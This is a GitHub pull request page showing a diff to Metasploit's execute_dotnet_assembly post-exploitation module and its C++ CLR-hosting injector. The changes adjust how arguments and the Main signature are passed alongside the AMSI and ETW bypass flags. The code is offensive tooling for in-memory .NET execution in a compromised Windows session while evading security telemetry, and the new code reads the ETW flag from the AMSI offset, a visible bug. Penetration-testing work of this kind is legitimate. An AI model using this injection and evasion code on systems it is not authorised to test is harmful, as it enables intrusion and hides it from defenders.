Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

execute_dotnet_assembly fix parameters managing #14304

Merged
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
2 changes: 2 additions & 0 deletions data/post/execute-dotnet-assembly/.gitignore
@@ -0,0 +1,2 @@
HostingCLR*
!HostCLR*.dll
Binary file modified data/post/execute-dotnet-assembly/HostingCLRx64.dll
Binary file not shown.
2 changes: 2 additions & 0 deletions external/source/HostingCLR_inject/.gitignore
@@ -0,0 +1,2 @@
HostingCLR/Release/*
HostingCLR/x64/*
31 changes: 18 additions & 13 deletions external/source/HostingCLR_inject/HostingCLR/HostingCLR.cpp
Expand Up @@ -19,8 +19,9 @@
#define MethodJittingStarted 145
#define ILStubGenerated 88

unsigned char amsiflag[1];
unsigned char etwflag[1];
bool amsiflag;
bool etwflag;
unsigned char signflag[1];

char sig_40[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
char sig_20[] = { 0x76,0x32,0x2E,0x30,0x2E,0x35,0x30,0x37,0x32,0x37 };
Expand Down Expand Up @@ -107,24 +108,28 @@ int executeSharp(LPVOID lpPayload)
}

//Reading memory parameters + amsiflag + args + assembly
ReadProcessMemory(GetCurrentProcess(), lpPayload , allData, raw_assembly_length + raw_args_length + 9, &readed);
ReadProcessMemory(GetCurrentProcess(), lpPayload , allData, raw_assembly_length + raw_args_length + 11, &readed);

//Taking pointer to amsi
unsigned char *offsetamsi = allData + 8;
//Store amsi flag
memcpy(amsiflag, offsetamsi, 1);
amsiflag = (offsetamsi[0] != 0);

unsigned char *offsetetw = allData + 9;
//Store amsi flag
memcpy(etwflag, offsetetw, 1);
//Store etw flag
etwflag = (offsetamsi[0] != 0);

unsigned char *offsetsign = allData + 10;
//Store sihnature flag
memcpy(signflag, offsetsign, 1);

//Taking pointer to args
unsigned char *offsetargs = allData + 10;
unsigned char *offsetargs = allData + 11;
//Store parameters
memcpy(arg_s, offsetargs, raw_args_length);

//Taking pointer to assembly
unsigned char *offset = allData + raw_args_length + 10;
unsigned char *offset = allData + raw_args_length + 11;
//Store assembly
memcpy(pvData, offset, raw_assembly_length);

Expand All @@ -148,7 +153,7 @@ int executeSharp(LPVOID lpPayload)
}

//Etw bypass
if (etwflag[0] == '\x01')
if (etwflag)
{
int ptcResult = PatchEtw();
if (ptcResult == -1)
Expand Down Expand Up @@ -233,7 +238,7 @@ int executeSharp(LPVOID lpPayload)
}

//Amsi bypass
if (amsiflag[0] == '\x01')
if (amsiflag)
{
int ptcResult = PatchAmsi();
if (ptcResult == -1)
Expand Down Expand Up @@ -266,16 +271,16 @@ int executeSharp(LPVOID lpPayload)
vtPsa.vt = (VT_ARRAY | VT_BSTR);

//Managing parameters
if(arg_s[0] != '\x00')
if(signflag[0] == '\x02')
{
//if we have at least 1 parameter set cEleemnt to 1
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);

LPWSTR *szArglist;
int nArgs;
wchar_t *wtext = (wchar_t *)malloc((sizeof(wchar_t) * raw_args_length +1));
wchar_t *wtext = (wchar_t *)malloc((sizeof(wchar_t) * raw_args_length));

mbstowcs(wtext, (char *)arg_s, raw_args_length + 1);
mbstowcs(wtext, (char *)arg_s, raw_args_length);
szArglist = CommandLineToArgvW(wtext, &nArgs);

free(wtext);
Expand Down
50 changes: 26 additions & 24 deletions modules/post/windows/manage/execute_dotnet_assembly.rb
Expand Up @@ -13,6 +13,11 @@ class MetasploitModule < Msf::Post
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Post::Windows::Dotnet

SIGNATURES = {
'Main()' => 1,
'Main(string[])' => 2
}.freeze

def initialize(info = {})
super(
update_info(
Expand All @@ -30,14 +35,15 @@ def initialize(info = {})
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows x64 (<= 10)', { 'Arch' => ARCH_X64 }]],
'References' => [['URL', 'https://b4rtik.blogspot.com/2018/12/execute-assembly-via-meterpreter-session.html']],
'References' => [['URL', 'https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session/']],
'DefaultTarget' => 0
)
)
register_options(
[
OptPath.new('DOTNET_EXE', [true, 'Assembly file name']),
OptString.new('ARGUMENTS', [false, 'Command line arguments']),
OptEnum.new('Signature', [true, 'The Main function signature', 'Automatic', ['Automatic'] + SIGNATURES.keys]),
OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe']),
OptString.new('USETHREADTOKEN', [false, 'Spawn process with thread impersonation', true]),
OptInt.new('PID', [false, 'Pid to inject', 0]),
Expand Down Expand Up @@ -228,35 +234,31 @@ def execute_assembly(exe_path)
def copy_assembly(exe_path, process)
print_status("Host injected. Copy assembly into #{process.pid}...")
int_param_size = 8
sign_flag_size = 1
amsi_flag_size = 1
etw_flag_size = 1
assembly_size = File.size(exe_path)
if datastore['ARGUMENTS'].nil?
argssize = 1

cln_params = ''
if datastore['Signature'] == 'Automatic'
signature = datastore['ARGUMENTS'].blank? ? SIGNATURES['Main()'] : SIGNATURES['Main(string[])']
else
argssize = datastore['ARGUMENTS'].size + 1
signature = SIGNATURES.fetch(datastore['Signature'])
end
payload_size = amsi_flag_size + etw_flag_size + int_param_size
payload_size += assembly_size + argssize
cln_params << datastore['ARGUMENTS'] if signature == SIGNATURES['Main(string[])']
cln_params << "\x00"

payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size
payload_size += assembly_size + cln_params.length
assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
params = [assembly_size].pack('I*')
params += [argssize].pack('I*')
if datastore['AMSIBYPASS'] == true
params += "\x01"
else
params += "\x02"
end
if datastore['ETWBYPASS'] == true
params += "\x01"
else
params += "\x02"
end
if datastore['ARGUMENTS'].nil?
params += ''
else
params += datastore['ARGUMENTS']
end
params += "\x00"
params = [
assembly_size,
cln_params.length,
datastore['AMSIBYPASS'] ? 1 : 0,
datastore['ETWBYPASS'] ? 1 : 0,
signature
].pack('IICCC')
params += cln_params

process.memory.write(assembly_mem, params + File.read(exe_path))
print_status('Assembly copied.')
Expand Down